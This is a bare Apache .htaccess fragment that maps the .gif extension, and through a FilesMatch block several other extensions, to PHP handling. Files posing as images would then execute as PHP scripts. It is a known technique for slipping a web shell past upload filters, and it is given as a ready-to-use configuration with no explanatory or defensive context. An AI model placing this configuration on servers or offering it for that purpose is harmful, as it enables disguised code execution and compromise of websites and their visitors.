<FilesMatch "\.(htm|html|php|gif)$">
SetHandler application/x-httpd-gif
</FilesMatch>
AddType application/x-httpd-php .gif
AddHandler php-script .gif